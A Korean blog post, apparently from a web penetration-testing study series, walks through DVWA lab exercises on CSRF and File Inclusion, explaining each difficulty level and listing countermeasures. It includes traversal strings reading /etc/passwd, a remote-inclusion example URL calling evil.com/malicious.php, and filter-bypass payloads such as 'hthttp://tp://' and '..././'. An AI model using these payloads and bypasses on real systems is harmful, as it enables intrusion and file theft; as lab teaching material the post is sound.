본문 바로가기
IT_정보보안/웹 모의해킹 프로젝트

35. 웹 모의해킹 실습 (2) : CSRF, File Inclusion

by jys275 2024. 9. 30.

 

CSRF(Cross-Site Request Forgery)

 

 

개념
사이트 간 요청 위조라는 의미로 사용 자(클라이언트)의 권한을 이용하여,

공격자가 의도한 요청을 웹 애플리케이션의 보내는 공격이다.

 

즉, 사용자의 신뢰를 받는 웹사이트에서 사용자가 의도하지 않은 요청을 보냄으로써 악성 행위를 실행한다.

보통 사용자가 웹사이트에 로그인한 상태(세션 쿠키를 유지 중)에서 공격자가 조작한 악성 링크를 클릭하면, 

공격자는 사용자의 세션을 이용해 사용자의 권한으로 악의적 요청을 서버로 전송할 수 있는 것이다.

즉, 링크나 페이지를 클릭하면, 공격자의 악의적 요청이 자동으로 웹사이트로 전송된다. 

이때, 요청은 피해자의 세션 정보와 함께 전송되기 때문에 서버는 요청이 피해자로부터 온 것으로 판단하고, 해당 요청을 처리한다.

공격자는 주로 웹사이트의 특정 기능을 악용하여 사용자의 권한으로 금전 이체, 비밀번호 변경, 계정 삭제 등의 작업을 실행할 수 있다.

XSS와 차이점
XSS는 공격자가 악성 스크립트를 웹 페이지에 삽입하여 사용자의 브라우저에서 실행되도록 하는 공격이며, 

CSRF는 사용자의 세션을 악용하여 원하지 않는 요청을 서버로 전송하는 공격이다. 

즉, XSS는 피해자를 대상으로 직접적인 공격을 주로 하는 반면에 CSRF는 서버를 대상으로 

피해자 PC를 이용해서 공격하는 점이 가장 다른 점이다.

 

XSS는 공격자가 특정 웹사이트의 게시판에 스크립트가 담겨있는 게시물을 작성하고 그 게시물을 사용자가 클릭을 했을 때,

액션이 일어나는 것이기 때문에 공격자가 누구인지를 명확하게 알 수가 있다.

 

서버의 입장에서 보면 CSRF 같은 경우는 공격자가 다이렉트로 공격을 하기 위해서 서버에 액션을 가하는 형태가 아니다.

공격자가 특정 사용자, 즉 희생자를 지정하고 그 희생자에게 사회공학적인 기법을 사용해서 악성 스크립트를 전달한다. 

 

즉, 희생자는 그걸 클릭했을 때, 결국 희생자가 서버 측에다가 영향을 미치는 것이기 때문에

서버의 입장에서는 이 희생자가 공격자가 되어 실제 공격을 유도한 사람이 누군지는 알 수가 없어진다.

 

CSRF의 의미가 "크로스 사이트에 대한 요청을 변조한다"라는 의미인 것처럼 요청을 변조한다는 것이

공격자가 직접 공격을 하는 것이 아니라 공격자가 요청에 대한 내용들을 변조하여 공격하는 형태인 것이다.

 

실습(Low Level)

아래는 Low Level의 CSRF 실습 페이지이다. 

새로운 패스워드를 입력하면 패스워드가 변경되는 기능을 갖추고 있다.

 

실습을 위해 Burp Suite를 이용하여 패스워드를 ‘password’에서 ‘1234’로 변경 시 발생하는 패킷을 관찰한다.

CSRF 실습 페이지(/DVWA/vulnerabilities/csrf/)에서 GET 메소드를 통해

password_new, password_conf, Change 값이 전달되는 것을 확인할 수 있다.

현재 Low Level에서는 패스워드 변경 시 현재 패스워드를 확인하지 않고 있으며, 

패킷 확인 결과 GET 메소드를 통해 패스워드를 변경하고 있기 때문에 이를 활용하여 공격을 진행할 수 있을 것이다.

페이지의 소스코드를 확인해 보면 위와 같이 패스워드를 변경하는 구성을 확인할 수 있다.
이를 참고하여 패스워드 변경을 유도하는 아래와 같이 html 파일을 작성한다.

 

action의 ‘#’은 현재 페이지를 반영하게 쓰여있지만 html 파일에서는 의도하는 페이지를 작성해 준다.

 

작성한 html 파일을 포함한 메일을 전송하여 아래와 같이 피해자의 클릭을 유도한다.

해당 파일을 실행할 시 피해자 입장에서는 DVWA 페이지로 바로 접속되며, 
패스워드가 자동으로 변경된 것(”Password Changed.”)을 볼 수 있다.

공격자는 메일의 수신 여부를 판단하여 즉각적으로 피해자의 권한을 사용하여 여러 악의적 행위를 실시할 수 있을 것이다.

 

실습(Medium Level)

Medium Level에서는 이전 파일을 실행하여도, 

요청은 올바르지 않다는 경고와 함께 패스워드가 변경되지 않는 것을 확인할 수 있다.

 

해당 경고를 자세하게 이해하기 위해서 Burp Suite를 통해 패킷을 살펴본다.
좌측의 Low Level 실습 과정에서의 패킷과는 달리 Referer 값이 존재하지 않는 것을 살펴볼 수 있다.

Low Level 패킷
Medium Level 패킷

HTTP Referer는 마지막으로 요청된 웹 페이지가 어떠한 웹 페이지에서 요청되었는지 알 수 있는 HTTP 헤더이다. 

즉, 요청이 현재 페이지에서 오는지 확인하는 기능을 하는 것이다. 만약 일치하지 않는다면 요청을 거부한다.

 

소스코드를 살펴보면 요청한 URL이 시작된 지점($_SERVER[ 'HTTP_REFERER' ])의 

문자열에 현재 DVWA가 실행되고 있는 도메인 주소인 ($_SERVER[ 'SERVER_NAME' ])가 

포함되어 있는 지를 대소문자 구분 없이 검사(eregi())하고 있다.

이를 통해서 비밀번호 변경 요청이 현재 DVWA 사이트 내에서 전송된 요청인지 확인할 수 있으며,

만약 공격자가 악의적으로 생성한 링크나 파일을 클릭했다면 도메인이 일치하지 않기 때문에 공격을 차단할 수 있다.

이를 우회하기 위해서는 $_SERVER[ 'SERVER_NAME’]인 localhost가 포함된 파일 이름(ex : CSRF_TEST_localhost)에 

패스워드를 변경하도록 유도하는 코드를 삽입한 후, “http://..../CSRF_TEST_localhost.html”로 접근하게 유도해야 한다. 

즉, 스크립트를 작성하여 메일 등에 "http://..../CSRF_TEST_localhost.html" 링크를 삽입하여, 사용자가 클릭하도록 유도할 수 있다.

피해자가 해당 링크로 접속하면 Referer 값에 localhost가 포함되기 때문에 비밀번호가 변경되게 된다.

실습(High Level)

High Level에서 패스워드 변경 요청 시 발생하는 패킷을 살펴보면, 

GET 요청에 ‘user_token’이라는 새로운 변수를 사용하고 있는 것을 살펴볼 수 있다.

DVWA 재접속 시 변경되는 user_token 값 확인 가능

 

High Level의 소스코드를 살펴보면 CSRF 토큰을 사용한다. CSRF 토큰은 서버에서 생성한 고유하고 예측할 수 없는 값이다. 

이 토큰은 사용자 세션마다 혹은 요청마다 생성되며 이를 세션에 저장한다.

 

이후에 사용자가 폼을 제출할 때, 해당 요청에 포함된 CSRF 토큰과 세션에 저장된 토큰을 비교하여,

만약 토큰이 없거나 일치하지 않으면 요청을 거부하는 것이다.

하지만 CSRF 토큰 또한 공격자에게 노출될 수 있기 때문에 공격을 완전하게 막지 못한다. 

이는 사용자가 비밀번호 변경을 유도하도록 하는 스크립트를 만들 때, user_token 값을 공격 URL에 추가하여 값을 알아낼 수 있다.


실습(Impossible Level)
아래는 Impossible Level의 CSRF 페이지이다. 

해당 페이지에서는 기존 비밀번호를 입력하여야만 비밀번호 수정이 가능한 것을 확인할 수 있다. 

이는 사실상 공격자가 사용자의 현재 비밀번호를 알지 못하면 공격이 불가능한 형태이다.

대응방안

  1. CAPTCHA 기능 적용 : 사용자가 직접 요청을 확인하도록 
    즉, 사용자가 변경을 수행하는 것인지 확인하기 위해 CAPTCHA를 요구한다.

  2. 인증 정보 추가(기존 비밀번호 확인) : 해당 방법은 비밀번호 변경, 이메일 변경, 계정 삭제 등의 중요한 액션을 보호하기에 매우 효과적이다. 공격자가 피해자의 세션을 악용하려고 하더라도 결국 비밀번호를 모르면 공격이 차단되는 것이다.

    즉, CSRF 토큰, Referer 헤더 검증 등의 기술과 함께 결합하면 보안성을 더욱 강화할 수 있다.

    패스워드 같은 경우는 분기마다 즉, 90일마다 강제로 변경하도록 하는

    이러한 정책들은 결과적으로 Brute Force를 포함한 CSRF도 적용되는 것이다.

  3. CSRF 토큰, Referer 헤더 검증 : CSRF 토큰 및 Referer 헤더 검증 등의 방법은 추가적인 보안을 강화하는 
    방법으로 사용될 수 있다. 단독으로 사용해서 방어하기에는 Middle Level, High Level과 같이 여전히 공격에 취약할 수 있다.

파일 업로드 취약점을 통해서 Referer 헤더 검증 우회




 

 

File Inclusion

 

 

개념
원리는 PHP 언어로 구현된 웹 애플리케이션을 대상으로 PHP의 include() 함수를 악용하는 방식으로 이루어진다. 

PHP의 include는 다른 PHP 파일을 현재 웹 페이지에 포함시키거나 불러올 수 있는 기능이다. 

이 기능이 사용자 입력을 신뢰하게 되어 잘못 사용되면, 공격자는 해당 기능을 악용하여 악의적으로 작성한 PHP 파일을 

include의 파라미터로 전송하여 악성파일을 실행시키는 방식으로 공격이 이루어진다.

예를 들어, 사용자가 “http://example.com/index.php?page=about.php”와 같은 URL을 요청하면 

애플리케이션은 ‘about.php’ 파일을 포함하여, 해당 페이지를 로드하는데 page 값을 검증하지 않으면, 

 

공격자는 경로를 조작하여 서버에 있는 다른 파일을 포함시키거나, 원격 파일을 불러와 실행시킬 수 있는 것이다.

 


해당 취약점은 두 가지 유형이 존재한다.

LFI(Local File Inclusion)
시스템의 로컬 파일의 접근하는 방식으로, 공격자는 서버 내 민감한 파일(예: /etc/passwd)을 읽거나 접근할 수 있다.

어떻게 보면 파일 다운로드 취약점과 유사한 점이 존재한다.

http://example.com/index.php?page=/etc/passwd” → /etc/passwd 파일을 읽어온다

RFI(Remote File Inclusion)
외부 파일을 불러오는 방식으로, 공격자는 원격 서버에 있는 

악성 스크립트를 불러와 실행시켜 서버를 장악하거나 악성 행위를 수행할 수 있다.

http://example.com/index.php?page=http://evil.com/malicious.php” → 원격 서버에서 스크립트를 실행한다.

 

실습(Low Level)

먼저 File Inclusion 실습 페이지에 접속하면 아래와 같은 화면과 URL을 확인할 수 있다. 

 

File Inclusion 실습 페이지 내에 다른 페이지로 접근하여도 url에서 ‘include’ 부분만 변경되는 것을 확인할 수 있다.

 

LFI 방식

서버의 ‘/etc/passwd’를 불러오고자 URL의 include.php을 변경하고자 한다.

 

하지만 현재 디렉토리의 경로를 모른다고 가정하여,

시스템의 최상의 디렉토리로 도달 후 접근하기 위해 ‘../../../../../../../../../../etc/passwd’로 수정 후 URL을 접속한다.

위와 같이 로컬 시스템의 파일에 접근하여 파일 내용이 노출되는 것을 확인할 수 있다. 

 

RFI 방식

서버의 파일 시스템을 탐색할 수 있는 코드를 작성한

PHP 파일(test.php)을 웹에서 접근할 수 있도록 “/var/www/html”경로에 생성한다.

 

이후 page의 매개변수로 악성 PHP 파일의 경로를 전달하면 해당 PHP가 불러와 짐과 동시에 코드가 실행되어

아래와 같이 페이지에 결과가 나타나는 것을 확인할 수 있다.



실습(Medium Level)

Medium Level에서는 Low Level에서 사용했던 방식을 그대로 사용하면 경고가 생성되면서

시스템 파일에 접근하지 못하는 것을 확인할 수 있다. 


소스코드를 살펴보면 page 변수의 값에서 "http://", "https://", "../", "..\" 문자열을 모두 공백으로 치환하는 것을 알 수 있다. 

해당 대응방안은 약간의 꼼수로 우회가 가능하다. 

 

예를 들어, “hthttp://tp://”라고 작성하면 http://가 삭제되어 결국엔 http://로 복원되는 것이다. 

”..././”는 ../ 문자열이 삭제되어 ../로 복원된다.


즉, 해당 소스코드는 문제로 삼은 문자를 한 번만 치환하는 것이 허점인 것이다.

LFI 방식

위의 우회방식을 통해 ..././..././..././..././..././ 을 반복적으로 작성하여,

Low Level과 동일하게 최상위 디렉토리로 접근한 후 ‘/etc/passwd’를 불러오면 동일하게 공격에 성공한 것을 확인할 수 있다.

 

RFI 방식

RFI 방식 또한 “hthttp://tp://”라고 작성하여 결국엔 “http://”만이 남도록 유도 후,

악성 PHP 파일의 경로를 전달하면 결국 공격에 성공한 것을 확인할 수 있다. 



실습(High Level)
File Inclusion 페이지는 page 변숫값에 사용되는 파일들이 

아래와 같이 모두 include.php, file1.php, file2.php, file3.php였다. 


이러한 이유로 High Level에서는 소스코드를 효율적으로 만들기 위해서 개발자가

파일 이름이 “file”로 시작하는 경우와 “include.php”인 경우에 대해서만 page 변수 값으로 입력을 허용해 놓았다.


하지만 High Level 또한 파일 경로에 대한 조작을 통한 Path Traversal 공격으로, 

‘file’을 시작으로 하여 상위 디렉토리로 충분히 이동한 후 “/etc/passwd"에 접근하면 아래와 같이 우회가 가능한 것을 확인할 수 있다.

 

 

실습(Impossible Level)

Impossible Level의 경우는 소스코드 확인 시, 페이지 내의 꼭 필요한 파일인 "include.php”, “file1.php”,

“file2.php”, “file3.php” 만을 include 해놓아 입력할 수 있는 경우의 수를 4개의 파일로 만 제한하였다.

이러한 경우에는 File Inclusion 공격을 시도하기에는 불가능하다고 할 수 있다.

 

 

대응방안

  1. PHP 설정 변경 : allow_url_include와 allow_url_fopen을 비활성화하여,
    원격 파일을 포함하지 못하게 한다. 이는 RFI 유형의 공격을 방지할 수 있다.

    또한 include 관련한 에러를 출력하지 않도록 display_errors 또한 비활성화할 수 있다.

  2. 사용자 입력 검증 : 파일 이름을 입력받는 사용자 입력값을 사용할 때는
    반드시 화이트리스트 검증을 통해 허용된 값만 받는다. 즉, 반드시 필요한 파일만 include 할 수 있도록 구현한다.

  3. 접근 권한 제한 : 웹 서버의 설정을 통해 특정 디렉토리에 대한 접근 권한을 제어한다. 
    예를 들어, 웹 루트 외부의 파일에 대한 접근이나 중요 정보가 저장된 /etc/passwd 파일 등에 대한 접근을 차단할 수 있다.

  4. 정기적인 코드 점검 : 코드 작성 후 정기적으로 보안 점검을 통해 File Inclusion 취약점이 존재하는지 확인한다.

    File Inclusion 취약점은 최근 동향상 아주 드물게 발견되거나 거의 발견되지 않는다고 한다. 

    소스 수준의 취약점 분석에서는 include(), include_once(), require(), require_once() 같은 함수에 
    URL 변숫값이 전달되는 지를 검사하면 LFI 취약점 여부를 판단할 수 있는 것이다.

 


 

 

다음 글에서는 File Upload, Insecure CAPTCHA를 주제로 실습을 진행할 예정이다.